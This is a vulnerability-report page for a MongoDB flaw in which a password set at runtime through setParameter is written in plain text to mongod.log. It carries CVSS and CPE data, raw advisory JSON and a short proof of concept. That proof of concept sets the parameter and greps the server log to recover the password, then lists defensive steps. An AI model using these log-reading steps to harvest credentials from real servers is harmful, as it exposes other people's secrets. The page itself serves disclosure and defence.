Security Vulnerability Report
中文
CVE-2026-9751 CVSS 5.5 MEDIUM

CVE-2026-9751

Published: 2026-06-09 23:17:05
Last Modified: 2026-06-12 20:43:58

Description

The ldapQueryPassword parameter, when set through the runtime setParameter command, will log the new password to the mongod.log file in plain text.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mongodb:mongodb:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mongodb:mongodb:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mongodb:mongodb:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mongodb:mongodb:*:*:*:*:*:*:*:* - VULNERABLE
MongoDB Server < 安全版本
具体受影响版本需参考MongoDB官方安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-9751 PoC - MongoDB ldapQueryPassword明文日志泄露 // 前提条件:具有MongoDB管理员权限 // Step 1: 设置ldapQueryPassword参数(触发漏洞) db.adminCommand({ setParameter: 1, ldapQueryPassword: "SecretPassword123!" }); // Step 2: 检查mongod.log日志文件(需要服务器本地访问权限) // 在MongoDB服务器上执行: // grep ldapQueryPassword /var/log/mongodb/mongod.log // 或 // cat /var/log/mongodb/mongod.log | grep -i 'ldapQueryPassword' // 预期结果:日志中会包含如下明文信息 // 2026-06-09T12:00:00.000+0000 I ACCESS [conn123] Successfully authenticated user with mechanism PLAIN // 2026-06-09T12:00:01.000+0000 I COMMAND [conn123] command: admin.$cmd { setParameter: 1, ldapQueryPassword: "SecretPassword123!" } // 防御建议: // 1. 升级MongoDB到最新安全版本 // 2. 限制对mongod.log文件的访问权限 // 3. 启用日志审计并监控setParameter命令使用

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9751", "sourceIdentifier": "[email protected]", "published": "2026-06-09T23:17:04.643", "lastModified": "2026-06-12T20:43:58.123", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ldapQueryPassword parameter, when set through the runtime setParameter command, will log the new password to the mongod.log file in plain text."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.35", "matchCriteriaId": "4A597EDD-7227-4462-9742-EC211F3D3043"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.24", "matchCriteriaId": "2769E44F-AA84-4942-BC40-AEA0E84BFBA5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.2.0", "versionEndExcluding": "8.2.10", "matchCriteriaId": "F3BDF7B8-82C8-4F03-9614-6FD73582D174"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.0", "versionEndExcluding": "8.3.3", "matchCriteriaId": "565AB85D-0F4A-4ED3-B951-7949D7AB85A6"}]}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-123370", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}